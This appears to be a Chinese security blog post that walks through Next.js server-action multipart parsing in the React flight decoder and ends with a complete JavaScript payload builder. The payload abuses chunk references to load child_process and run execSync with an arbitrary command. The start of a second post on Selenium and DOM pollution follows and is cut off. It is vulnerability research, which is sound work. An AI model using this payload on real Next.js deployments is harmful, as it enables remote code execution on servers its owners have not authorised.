&lt;p&gt;以上，next-action的前置分析完成，再者就到了action的server接收以及解析。&lt;/p&gt;
&lt;h2&gt;2.action转发处理&lt;/h2&gt;
&lt;p&gt;我会叙述multipart多块在进行worker转发之后的处理情况。&lt;/p&gt;
&lt;p&gt;因为转发之后会带x-action-forwarded。那么就走的是handler-action的&lt;/p&gt;
&lt;p&gt;isFetchAction分支，以下是如此分支的源码&lt;/p&gt;
&lt;p&gt;因为分支有有效的有8段，以下会一一赘述&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (isFetchAction) {
                        // A fetch action with a multipart body.
                        boundActionArguments = await decodeReply(formData, serverModuleMap, {
                            temporaryReferences
                        });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;依旧异步函数，等待decodeReply的return&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (isMultipartAction) {
                    if (isFetchAction) {
                        // A fetch action with a multipart body.
                        const busboy = require(&apos;next/dist/compiled/busboy&apos;)({
                            defParamCharset: &apos;utf8&apos;,
                            headers: req.headers,
                            limits: {
                                fieldSize: bodySizeLimitBytes
                            }
                        });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这里走了多表单的分支，引入了busboy，这样可以以boundary分界之后进行解析。但是这里只是引入该行为，动作在后面。limit规定包大小范围&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (isFetchAction) {
                const actionResult = await generateFlight(req, ctx, requestStore, {
                    actionResult: Promise.resolve(returnVal),
                    // if the page was not revalidated, or if the action was forwarded from another worker, we can skip the rendering the flight tree
                    skipFlight: !workStore.pathWasRevalidated || actionWasForwarded,
                    temporaryReferences
                });
                return {
                    type: &apos;done&apos;,
                    result: actionResult
                };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里因为不明白returnVal变量是什么，我们进行溯源。查找到returnVal是一个调用actionmod进行fetch的，也就是module，而查找其的函数如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function getActionModIdOrError(actionId, serverModuleMap) {
    var _serverModuleMap_actionId;
    // if we&apos;re missing the action ID header, we can&apos;t do any further processing
    if (!actionId) {
        throw Object.defineProperty(new _invarianterror.InvariantError(&quot;Missing &apos;next-action&apos; header.&quot;), &quot;__NEXT_ERROR_CODE&quot;, {
            value: &quot;E664&quot;,
            enumerable: false,
            configurable: true
        });
    }
    const actionModId = (_serverModuleMap_actionId = serverModuleMap[actionId]) == null ? void 0 : _serverModuleMap_actionId.id;
    if (!actionModId) {
        throw Object.defineProperty(new Error(`Failed to find Server Action &quot;${actionId}&quot;. This request might be from an older or newer deployment.\nRead more: https://nextjs.org/docs/messages/failed-to-find-server-action`), &quot;__NEXT_ERROR_CODE&quot;, {
            value: &quot;E665&quot;,
            enumerable: false,
            configurable: true
        });
    }
    return actionModId;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在modluemap中找到action对应的modlue，然后返回hax。紧接着就是&lt;/p&gt;
&lt;p&gt;const actionMod = await ComponentMod.&lt;strong&gt;next_app&lt;/strong&gt;.require(actionModId);&lt;/p&gt;
&lt;p&gt;如此对这个modlue进行异步include操作，也就是一定会回状态。&lt;/p&gt;
&lt;p&gt;actionHandler = actionMod[actiomid]&lt;/p&gt;
&lt;p&gt;接着这个modlue状态被用于参数actionHandler&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const returnVal = await executeActionAndPrepareForRender(actionHandler, boundActionArguments, workStore, requestStore).finally(()=&amp;gt;{
                addRevalidationHeader(res, {
                    workStore,
                    requestStore
                });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里executeActionAndPrepareForRender将action的modlue挂到状态上进行fetch server action，然后await结果。回到3&lt;/p&gt;
&lt;p&gt;最后return的是包装完的flight数据流。也就是actionResult。&lt;/p&gt;
&lt;p&gt;如此一来，action和表单的处理就完成了，也就是从二次转发到结束返回RSC数据的全流程，但是还差最后的，也就是busboy解析完成的字段。&lt;/p&gt;
&lt;p&gt;最后返回的RSC数据流actionResult由Promise.resolve(returnVal)，req,ctx,requeststore包装成flight.&lt;/p&gt;
&lt;p&gt;其中的returnval逻辑&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const returnVal = await executeActionAndPrepareForRender(actionHandler, boundActionArguments, workStore, requestStore).finally(()=&amp;gt;{
                addRevalidationHeader(res, {
                    workStore,
                    requestStore
                });
            });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;executeActionAndPrepareForRender函数将这些参数变量包装成响应格式返回，actionHandler有对应的模块信息，boundActionArguments便是muiltpart进busboy后过decodeReplyFromBusboy解析的结果。&lt;/p&gt;
&lt;p&gt;至于我们的目标，也就是RCE，也发生在这一块。&lt;/p&gt;
&lt;h2&gt;3.muiltpart的server解析&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;if (isFetchAction) {
                        // A fetch action with a multipart body.
                        const busboy = require(&apos;next/dist/compiled/busboy&apos;)({
                            defParamCharset: &apos;utf8&apos;,
                            headers: req.headers,
                            limits: {
                                fieldSize: bodySizeLimitBytes
                            }
                        });
                        // We need to use `pipeline(one, two)` instead of `one.pipe(two)` to propagate size limit errors correctly.
                        pipeline(sizeLimitedBody, busboy, // Avoid unhandled errors from `pipeline()` by passing an empty completion callback.
                        // We&apos;ll propagate the errors properly when consuming the stream.
                        ()=&amp;gt;{});
                        boundActionArguments = await decodeReplyFromBusboy(busboy, serverModuleMap, {
                            temporaryReferences
                        });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;前置我们已知busboy过decodeReplyFromBusboy解析后返回了boundActionArguments，body被pipeline进了busboy，这里busboy处理逻辑不做赘述。&lt;/p&gt;
&lt;p&gt;因为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; pipeline(sizeLimitedBody, busboy, // Avoid unhandled errors from `pipeline()` by passing an empty completion callback.
                        // We&apos;ll propagate the errors properly when consuming the stream.
                        ()=&amp;gt;{});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以参数busboy是作为流式数据源，serverModuleMap便是函数的映射表。&lt;/p&gt;
&lt;p&gt;我们接着溯源到函数decodeReplyFromBusboy&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;exports.decodeReplyFromBusboy = function (
      busboyStream,
      webpackMap,
      options
    ) {
      var response = createResponse(
          webpackMap,
          &quot;&quot;,
          options ? options.temporaryReferences : void 0
        ),
        pendingFiles = 0,
        queuedFields = [];
      busboyStream.on(&quot;field&quot;, function (name, value) {
        0 &amp;lt; pendingFiles
          ? queuedFields.push(name, value)
          : resolveField(response, name, value);
      });
      busboyStream.on(&quot;file&quot;, function (name, value, _ref2) {
        var filename = _ref2.filename,
          mimeType = _ref2.mimeType;
        if (&quot;base64&quot; === _ref2.encoding.toLowerCase())
          throw Error(
            &quot;React doesn&apos;t accept base64 encoded file uploads because we don&apos;t expect form data passed from a browser to ever encode data that way. If that&apos;s the wrong assumption, we can easily fix it.&quot;
          );
        pendingFiles++;
        var JSCompiler_object_inline_chunks_251 = [];
        value.on(&quot;data&quot;, function (chunk) {
          JSCompiler_object_inline_chunks_251.push(chunk);
        });
        value.on(&quot;end&quot;, function () {
          var blob = new Blob(JSCompiler_object_inline_chunks_251, {
            type: mimeType
          });
          response._formData.append(name, blob, filename);
          pendingFiles--;
          if (0 === pendingFiles) {
            for (blob = 0; blob &amp;lt; queuedFields.length; blob += 2)
              resolveField(
                response,
                queuedFields[blob],
                queuedFields[blob + 1]
              );
            queuedFields.length = 0;
          }
        });
      });
      busboyStream.on(&quot;finish&quot;, function () {
        close(response);
      });
      busboyStream.on(&quot;error&quot;, function (err) {
        reportGlobalError(response, err);
      });
      return getChunk(response, 0);
    };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接收的busboystream便是busboy对象输出的数据流，webpackMap也就是映射，便是serverModuleMap，只是换了个名字。&lt;/p&gt;
&lt;p&gt;接下来便是busboystream输出的分块表单，进行回调函数处理，并且设置了队列queuedFields&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;      busboyStream.on(&quot;field&quot;, function (name, value) {
        0 &amp;lt; pendingFiles
          ? queuedFields.push(name, value)
          : resolveField(response, name, value);
      });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;4是控制field字段的队列，下面都是针对data为file情况的解析。&lt;/p&gt;
&lt;p&gt;目光拉回creatResponse&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;      var response = createResponse(
          webpackMap,
          &quot;&quot;,
          options ? options.temporaryReferences : void 0
        ),
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;溯源:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function createResponse(
      bundlerConfig,
      formFieldPrefix,
      temporaryReferences
    ) {
      var backingFormData =
          3 &amp;lt; arguments.length &amp;amp;&amp;amp; void 0 !== arguments[3]
            ? arguments[3]
            : new FormData(),
        chunks = new Map();
      return {
        _bundlerConfig: bundlerConfig,
        _prefix: formFieldPrefix,
        _formData: backingFormData,
        _chunks: chunks,
        _closed: !1,
        _closedReason: null,
        _temporaryReferences: temporaryReferences
      };
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;webpackMap作为bundlerconfig传入，校验之后创建new formdata()对象&lt;/p&gt;
&lt;p&gt;变量在这里再次更新后return&lt;/p&gt;
&lt;p&gt;bundlerconfig,也就是webpackmap=_bundlerconfig。 _chunks变为new Map()对象.&lt;/p&gt;
&lt;p&gt;_prefix为空字符串。&lt;/p&gt;
&lt;p&gt;最后在这些状态挂在response对象的情况下进行getchunk&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;return getChunk(response, 0);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并且注意到挂载队列的处理函数是resolveField&lt;/p&gt;
&lt;p&gt;溯源&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function resolveField(response, key, value) {
      response._formData.append(key, value);
      var prefix = response._prefix;
      key.startsWith(prefix) &amp;amp;&amp;amp;
        ((response = response._chunks),
        (key = +key.slice(prefix.length)),
        (prefix = response.get(key)) &amp;amp;&amp;amp; resolveModelChunk(prefix, value, key));
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里response已经是挂载成一个集函数map的对象了，并且prefix因为是空字符恒成立，并且将response挂载为chunks&lt;/p&gt;
&lt;p&gt;这里的chunks为一个空的对象。上面的key就是name字段，而response便是多表单为解析的空map()对象&lt;/p&gt;
&lt;p&gt;这里区分一下，createResponse行为相对是单次的，而resolveField是每次表单执行一次&lt;/p&gt;
&lt;p&gt;阶段来说。代码块8的response是有formdata和map两个空对象的&lt;/p&gt;
&lt;p&gt;每次都将key和value字段存入formdata。但是另外的chunk开始是空的，也就是取不到key。&lt;/p&gt;
&lt;p&gt;也就进不了resolveModelChunk分支。&lt;/p&gt;
&lt;p&gt;但是每次decodeReplyFromBusboy结束前都会进一次getchunk。&lt;/p&gt;
&lt;p&gt;继续跟进吧&lt;/p&gt;
&lt;h2&gt;4.表单核心解析&lt;/h2&gt;
&lt;p&gt;源码如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function getChunk(response, id) {
      var chunks = response._chunks,
        chunk = chunks.get(id);
      chunk ||
        ((chunk = response._formData.get(response._prefix + id)),
        (chunk =
          null != chunk
            ? new Chunk(&quot;resolved_model&quot;, chunk, id, response)
            : response._closed
              ? new Chunk(&quot;rejected&quot;, null, response._closedReason, response)
              : createPendingChunk(response)),
        chunks.set(id, chunk));
      return chunk;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如此return的是一个chunk对象，并且会将它set进chunks，也就是_chunks块中。&lt;/p&gt;
&lt;p&gt;也就是说，会将response=&amp;gt;也就是挂载了很多空或非空状态的对象挂载在对象chunk上。&lt;/p&gt;
&lt;p&gt;并且chunk挂载在对象chunks上，chunks对应了挂载在response上的_chunks。&lt;/p&gt;
&lt;p&gt;也就是说，这是一个循环引用。这样chunk引用也需要访问response的上下文，可以避免数据多次循环传输&lt;/p&gt;
&lt;p&gt;也就是说，一个集合对象被循环挂载了，身上属性有id,chunk,以及response。&lt;/p&gt;
&lt;p&gt;这里作为参数的chunk其实是来自formdata的字段值。最后return   chunk(或者正在pending中)&lt;/p&gt;
&lt;p&gt;然后回到函数resolveField&lt;/p&gt;
&lt;p&gt;因为response和chunk对象是循环引用的，所以response.get(key)，而key在这里又是name&lt;/p&gt;
&lt;p&gt;又因为，每次都是一个新的状态，name对应的值对这条路来说是一次性的。&lt;/p&gt;
&lt;p&gt;所以get到对应的chunk，赋值给prefix。&lt;/p&gt;
&lt;p&gt;接下来就是esolveModelChunk(prefix, value, key));&lt;/p&gt;
&lt;p&gt;value是name的值，key是name字段，prefix是chunk对象&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function resolveModelChunk(chunk, value, id) {
      if (&quot;pending&quot; !== chunk.status)
        (chunk = chunk.reason),
          &quot;C&quot; === value[0]
            ? chunk.close(&quot;C&quot; === value ? &apos;&quot;$undefined&quot;&apos; : value.slice(1))
            : chunk.enqueueModel(value);
      else {
        var resolveListeners = chunk.value,
          rejectListeners = chunk.reason;
        chunk.status = &quot;resolved_model&quot;;
        chunk.value = value;
        chunk.reason = id;
        if (null !== resolveListeners)
          switch ((initializeModelChunk(chunk), chunk.status)) {
            case &quot;fulfilled&quot;:
              wakeChunk(resolveListeners, chunk.value);
              break;
            case &quot;pending&quot;:
            case &quot;blocked&quot;:
            case &quot;cyclic&quot;:
              if (chunk.value)
                for (value = 0; value &amp;lt; resolveListeners.length; value++)
                  chunk.value.push(resolveListeners[value]);
              else chunk.value = resolveListeners;
              if (chunk.reason) {
                if (rejectListeners)
                  for (value = 0; value &amp;lt; rejectListeners.length; value++)
                    chunk.reason.push(rejectListeners[value]);
              } else chunk.reason = rejectListeners;
              break;
            case &quot;rejected&quot;:
              rejectListeners &amp;amp;&amp;amp; wakeChunk(rejectListeners, chunk.reason);
          }
      }
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在chunk并不是pending状态下给chunk赋予多个属性&lt;/p&gt;
&lt;p&gt;并且当value不为null时，调用函数initializeModelChunk&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function initializeModelChunk(chunk) {
      var prevChunk = initializingChunk,
        prevBlocked = initializingChunkBlockedModel;
      initializingChunk = chunk;
      initializingChunkBlockedModel = null;
      var rootReference =
          -1 === chunk.reason ? void 0 : chunk.reason.toString(16),
        resolvedModel = chunk.value;
      chunk.status = &quot;cyclic&quot;;
      chunk.value = null;
      chunk.reason = null;
      try {
        var rawModel = JSON.parse(resolvedModel),
          value = reviveModel(
            chunk._response,
            { &quot;&quot;: rawModel },
            &quot;&quot;,
            rawModel,
            rootReference
          );
        if (
          null !== initializingChunkBlockedModel &amp;amp;&amp;amp;
          0 &amp;lt; initializingChunkBlockedModel.deps
        )
          (initializingChunkBlockedModel.value = value),
            (chunk.status = &quot;blocked&quot;);
        else {
          var resolveListeners = chunk.value;
          chunk.status = &quot;fulfilled&quot;;
          chunk.value = value;
          null !== resolveListeners &amp;amp;&amp;amp; wakeChunk(resolveListeners, value);
        }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里已经到达核心了，重点就是chunk的value，也就是name的value被带进了函数reviveModel&lt;/p&gt;
&lt;p&gt;跟进&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function reviveModel(response, parentObj, parentKey, value, reference) {
      if (&quot;string&quot; === typeof value)
        return parseModelString(
          response,
          parentObj,
          parentKey,
          value,
          reference
        );
      if (&quot;object&quot; === typeof value &amp;amp;&amp;amp; null !== value)
        if (
          (void 0 !== reference &amp;amp;&amp;amp;
            void 0 !== response._temporaryReferences &amp;amp;&amp;amp;
            response._temporaryReferences.set(value, reference),
          Array.isArray(value))
        )
          for (var i = 0; i &amp;lt; value.length; i++)
            value[i] = reviveModel(
              response,
              value,
              &quot;&quot; + i,
              value[i],
              void 0 !== reference ? reference + &quot;:&quot; + i : void 0
            );
        else
          for (i in value)
            hasOwnProperty.call(value, i) &amp;amp;&amp;amp;
              ((parentObj =
                void 0 !== reference &amp;amp;&amp;amp; -1 === i.indexOf(&quot;:&quot;)
                  ? reference + &quot;:&quot; + i
                  : void 0),
              (parentObj = reviveModel(
                response,
                value,
                i,
                value[i],
                parentObj
              )),
              void 0 !== parentObj ? (value[i] = parentObj) : delete value[i]);
      return value;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;五个参数分别是(&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;            chunk._response,
            { &quot;&quot;: rawModel },
            &quot;&quot;,
            rawModel,
            rootReference
          )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;rawModel就是上述的value。&lt;/p&gt;
&lt;p&gt;这里走的string。进入value前缀特殊处理&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function parseModelString(response, obj, key, value, reference) {
      if (&quot;$&quot; === value[0]) {
        switch (value[1]) {
          case &quot;$&quot;:
            return value.slice(1);
          case &quot;@&quot;:
            return (
              (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
            );
          case &quot;F&quot;:
            return (
              (value = value.slice(2)),
              (value = getOutlinedModel(
                response,
                value,
                obj,
                key,
                createModel
              )),
              loadServerReference$1(
                response,
                value.id,
                value.bound,
                initializingChunk,
                obj,
                key
              )
            );
          case &quot;T&quot;:
            if (
              void 0 === reference ||
              void 0 === response._temporaryReferences
            )
              throw Error(
                &quot;Could not reference an opaque temporary reference. This is likely due to misconfiguring the temporaryReferences options on the server.&quot;
              );
            return createTemporaryReference(
              response._temporaryReferences,
              reference
            );
          case &quot;Q&quot;:
            return (
              (value = value.slice(2)),
              getOutlinedModel(response, value, obj, key, createMap)
            );
          case &quot;W&quot;:
            return (
              (value = value.slice(2)),
              getOutlinedModel(response, value, obj, key, createSet)
            );
          case &quot;K&quot;:
            obj = value.slice(2);
            var formPrefix = response._prefix + obj + &quot;_&quot;,
              data = new FormData();
            response._formData.forEach(function (entry, entryKey) {
              entryKey.startsWith(formPrefix) &amp;amp;&amp;amp;
                data.append(entryKey.slice(formPrefix.length), entry);
            });
            return data;
          case &quot;i&quot;:
            return (
              (value = value.slice(2)),
              getOutlinedModel(response, value, obj, key, extractIterator)
            );
          case &quot;I&quot;:
            return Infinity;
          case &quot;-&quot;:
            return &quot;$-0&quot; === value ? -0 : -Infinity;
          case &quot;N&quot;:
            return NaN;
          case &quot;u&quot;:
            return;
          case &quot;D&quot;:
            return new Date(Date.parse(value.slice(2)));
          case &quot;n&quot;:
            return BigInt(value.slice(2));
        }
        switch (value[1]) {
          case &quot;A&quot;:
            return parseTypedArray(response, value, ArrayBuffer, 1, obj, key);
          case &quot;O&quot;:
            return parseTypedArray(response, value, Int8Array, 1, obj, key);
          case &quot;o&quot;:
            return parseTypedArray(response, value, Uint8Array, 1, obj, key);
          case &quot;U&quot;:
            return parseTypedArray(
              response,
              value,
              Uint8ClampedArray,
              1,
              obj,
              key
            );
          case &quot;S&quot;:
            return parseTypedArray(response, value, Int16Array, 2, obj, key);
          case &quot;s&quot;:
            return parseTypedArray(response, value, Uint16Array, 2, obj, key);
          case &quot;L&quot;:
            return parseTypedArray(response, value, Int32Array, 4, obj, key);
          case &quot;l&quot;:
            return parseTypedArray(response, value, Uint32Array, 4, obj, key);
          case &quot;G&quot;:
            return parseTypedArray(response, value, Float32Array, 4, obj, key);
          case &quot;g&quot;:
            return parseTypedArray(response, value, Float64Array, 8, obj, key);
          case &quot;M&quot;:
            return parseTypedArray(response, value, BigInt64Array, 8, obj, key);
          case &quot;m&quot;:
            return parseTypedArray(
              response,
              value,
              BigUint64Array,
              8,
              obj,
              key
            );
          case &quot;V&quot;:
            return parseTypedArray(response, value, DataView, 1, obj, key);
          case &quot;B&quot;:
            return (
              (obj = parseInt(value.slice(2), 16)),
              response._formData.get(response._prefix + obj)
            );
        }
        switch (value[1]) {
          case &quot;R&quot;:
            return parseReadableStream(response, value, void 0);
          case &quot;r&quot;:
            return parseReadableStream(response, value, &quot;bytes&quot;);
          case &quot;X&quot;:
            return parseAsyncIterable(response, value, !1);
          case &quot;x&quot;:
            return parseAsyncIterable(response, value, !0);
        }
        value = value.slice(1);
        return getOutlinedModel(response, value, obj, key, createModel);
      }
      return value;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;划出重点&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;case &quot;$&quot;: return value.slice(1);
case &quot;@&quot;:
  obj = parseInt(value.slice(2), 16);
  return getChunk(response, obj);
case &quot;F&quot;:
  value = value.slice(2);
  value = getOutlinedModel(response, value, obj, key, createModel);
  return loadServerReference$1(
    response,
    value.id,
    value.bound,
    initializingChunk,
    obj,
    key
  );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的value第二位为F时的逻辑可以重点看看，取用name的值的第三位，去进行一个getOutlineModel&lt;/p&gt;
&lt;p&gt;其中参数可以看看我的注释。&lt;/p&gt;
&lt;p&gt;接着上文看看函数getOutlinedModel&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    function getOutlinedModel(response, reference, parentObject, key, map) {
      reference = reference.split(&quot;:&quot;);
      var id = parseInt(reference[0], 16);
      id = getChunk(response, id);
      switch (id.status) {
        case &quot;resolved_model&quot;:
          initializeModelChunk(id);
      }
      switch (id.status) {
        case &quot;fulfilled&quot;:
          parentObject = id.value;
          for (key = 1; key &amp;lt; reference.length; key++)
            parentObject = parentObject[reference[key]];
          return map(response, parentObject);
        case &quot;pending&quot;:
        case &quot;blocked&quot;:
        case &quot;cyclic&quot;:
          var parentChunk = initializingChunk;
          id.then(
            createModelResolver(
              parentChunk,
              parentObject,
              key,
              &quot;cyclic&quot; === id.status,
              response,
              map,
              reference
            ),
            createModelReject(parentChunk)
          );
          return null;
        default:
          throw id.reason;
      }
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里选择在getchunk里再跑一遍返回过了处理的id和上下文response，相当于校验一遍。&lt;/p&gt;
&lt;p&gt;然后确认renturn后的id状态，如果已经resolve就返回&lt;/p&gt;
&lt;p&gt;这里也许有人会怀疑重复解析的问题，因为initializeModelChunk是传入的原点。&lt;/p&gt;
&lt;p&gt;但是这忽略了value的再次引用重复解析，比如$2:then。&lt;/p&gt;
&lt;p&gt;传入一次就会再次解析一次，一直到solve。接着&lt;/p&gt;
&lt;p&gt;分支fulfilled可以看到它在遍历我们的value，取值并且在map中转为统一格式。这条分支是已经解析完值取值的分支&lt;/p&gt;
&lt;p&gt;看pending/blocked/cyclic分支，也就是没轮到块解析时，&lt;/p&gt;
&lt;p&gt;会给chunk占位。看看处理函数的参数意味&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;createModelResolver(
  parentChunk,     // 谁在等（当前初始化的 chunk，比如 chunk8）
  parentObject,    // 要回填的那个对象（比如 chunk8.value 里的某个对象）
  key,             // 回填的字段名（比如 &quot;_response&quot; 或者数组下标）
  &quot;cyclic&quot; === id.status, // 这次等待是否因为环（true/false）
  response,        // 解码上下文（包含 _chunks/_formData/_prefix 等）
  map,             // 映射函数（把取到的值进一步 revive/包装）
  reference        // 引用路径数组，比如 [&quot;7&quot;] 或 [&quot;2&quot;,&quot;then&quot;]
) {
      if (initializingChunkBlockedModel) {
        var blocked = initializingChunkBlockedModel;
        cyclic || blocked.deps++;
      } else
        blocked = initializingChunkBlockedModel = {
          deps: cyclic ? 0 : 1,
          value: null
        };
      return function (value) {
        for (var i = 1; i &amp;lt; path.length; i++) value = value[path[i]];
        parentObject[key] = map(response, value);
        &quot;&quot; === key &amp;amp;&amp;amp;
          null === blocked.value &amp;amp;&amp;amp;
          (blocked.value = parentObject[key]);
        blocked.deps--;
        0 === blocked.deps &amp;amp;&amp;amp;
          &quot;blocked&quot; === chunk.status &amp;amp;&amp;amp;
          ((value = chunk.value),
          (chunk.status = &quot;fulfilled&quot;),
          (chunk.value = blocked.value),
          null !== value &amp;amp;&amp;amp; wakeChunk(value, blocked.value));
      };
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里是算block的依赖的，如果依赖被使用就欠着。 如果 &lt;code&gt;deps==0&lt;/code&gt;，就把父 chunk 从 blocked 变 fulfilled，并唤醒等待它的人 。&lt;/p&gt;
&lt;p&gt;导致模型可以调用，进一步导致了可以绕过waf，比如prototype和construct&lt;/p&gt;
&lt;p&gt;等。进一步加深了CVE-2025-55812的危害，以及衍生的55813等等。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function get_payload_body(cmd) {
  const s = JSON.stringify.bind(JSON);
  const payload = {
    0: {
      &quot;status&quot;: &quot;resolved_model&quot;,
      &quot;then&quot;: &quot;$1:then&quot;,
      &quot;_response&quot;: &quot;$5&quot;,
      &quot;value&quot;: s({
        &quot;_preloads&quot;: [&quot;$8&quot;],
        &quot;then&quot;: &quot;$2:map&quot;,
        &quot;0&quot;: &quot;$a&quot;,
        &quot;length&quot;: 1
      }),
      &quot;reason&quot;: 0,
    },
    1: &quot;$@0&quot;,

    // array
    2: [],

    // _temporaryReferences
    3: {
      &quot;length&quot;: 0,
      &quot;set&quot;: &quot;$2:push&quot;
    },

    // Module._load
    4: {
      &quot;id&quot;: &quot;foo&quot;,
      &quot;bound&quot;: [&quot;child_process&quot;]
    },
    5: {
      &quot;_bundlerConfig&quot;: {
        &quot;foo&quot;: { &quot;id&quot;: &quot;module&quot;, &quot;name&quot;: &quot;_load&quot;, &quot;chunks&quot;: [] }
      },
      &quot;_prefix&quot;: &quot;$1:_response:_prefix&quot;,
      &quot;_formData&quot;: &quot;$1:_response:_formData&quot;,
      &quot;_chunks&quot;: &quot;$1:_response:_chunks&quot;
    },
    6: &quot;$F4&quot;,

    // fake response for getting child_process
    7: {
      &quot;_prefix&quot;: &quot;&quot;,
      &quot;_chunks&quot;: &quot;$1:_response:_chunks&quot;,
      &quot;_formData&quot;: {
        &quot;get&quot;: &quot;$6&quot;,
      }
    },
    8: {
      &quot;_prefix&quot;: &quot;&quot;,
      &quot;_chunks&quot;: &quot;$1:_response:_chunks&quot;,
      &quot;_formData&quot;: &quot;$1:_response:_formData&quot;,
      // use _temporaryReferences to push all reason, used to deliver child_process
      &quot;_temporaryReferences&quot;: &quot;$3&quot;,
    },
    9: {
      &quot;_prefix&quot;: `${cmd} ; #`,
      &quot;_chunks&quot;: &quot;$1:_response:_chunks&quot;,
      &quot;_formData&quot;: {
        &quot;get&quot;: &quot;$3:1:execSync&quot;, // execSync
      },
    },
    10: {
      &quot;status&quot;: &quot;resolved_model&quot;,
      &quot;then&quot;: &quot;$1:then&quot;,
      &quot;_response&quot;: &quot;$7&quot;,
      &quot;reason&quot;: -1,
      &quot;value&quot;: s({
        &quot;status&quot;: &quot;resolved_model&quot;,
        &quot;then&quot;: &quot;$1:then&quot;,
        &quot;reason&quot;: {
          &quot;0&quot;: &quot;$B33&quot;, // emit, reason will be child_process
          &quot;length&quot;: 1,
          &quot;toString&quot;: &quot;$2:pop&quot;
        },
        &quot;_response&quot;: &quot;$8&quot;, // reason will be stored in _temporaryReferences
        &quot;value&quot;: s({
          &quot;status&quot;: &quot;resolved_model&quot;,
          &quot;then&quot;: &quot;$1:then&quot;,
          &quot;_response&quot;: &quot;$9&quot;,
          &quot;reason&quot;: -1,
          &quot;value&quot;: s([&quot;$B77&quot;]), // emit result
        }),
      }),
    },
  }

  const formdata = newFormData();
  for (const [key, value] ofObject.entries(payload)) {
    formdata.append(key, s(value));
  }

  return formdata;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;0块占位之后，让1引用0未解析的原片段，然后这样可以进入pending分支，这样&lt;/p&gt;
&lt;p&gt;可以启动时稳定路径。然后就是一步步用chunk去改映射，然后拿到可以执行命令的对象。&lt;/p&gt;
&lt;p&gt;大体上的核心反序列也就是调用.then和chunk对象的映射。&lt;/p&gt;
&lt;p&gt;跟这么长的链子花了我不少功夫，但也不失一些乐趣吧，今天还是情人节~&lt;/p&gt;
&lt;p&gt;もし，人と人繋がっていたら,&lt;/p&gt;
&lt;p&gt;Then I should be in that golden wheat field&lt;/p&gt;
&lt;p&gt;My Dear MoMoru&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/love/a1.webp&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Pasteboard引入的selenium安全杂谈，同源策略的思考</title><link>https://ymsora.com/posts/selenium%E5%AE%89%E5%85%A8%E6%9D%82%E8%B0%88/</link><guid isPermaLink="true">https://ymsora.com/posts/selenium%E5%AE%89%E5%85%A8%E6%9D%82%E8%B0%88/</guid><description>WEBER x</description><pubDate>Sun, 18 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Pasteboard引入的selenium安全杂谈，同源策略的思考&lt;/h1&gt;
&lt;h2&gt;前言:&lt;/h2&gt;
&lt;h2&gt;在存在 DOM 污染的前提下，Selenium的默认启动参数 + strict-dynamic以及CSP + data，可能使Attacker 间接影响 Chromedriver 的runtime行为。这并不是配置层面的，而是默认的配置与浏览器常见的xss进行联动而产生的安全隐患，来源于同源策略的不可信，我想，这是需要进一步校验考量的。&lt;/h2&gt;
&lt;h2&gt;思来想去，我还是想把这篇报告写得更为纯粹一些，所以我会稍微放弃一些在此题前置的DOM污染的讲解。&lt;/h2&gt;
&lt;h2&gt;Pasteboard&lt;/h2&gt;
&lt;p&gt;先看看dom污染部分的源码操作吧&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(function () {
  const n = document.getElementById(&quot;rawMsg&quot;);
  const raw = n ? n.textContent : &quot;&quot;;
  const card = document.getElementById(&quot;card&quot;);

  try {
    const cfg = window.renderConfig || { mode: (card &amp;amp;&amp;amp; card.dataset.mode) || &quot;safe&quot; };
    const mode = cfg.mode.toLowerCase();
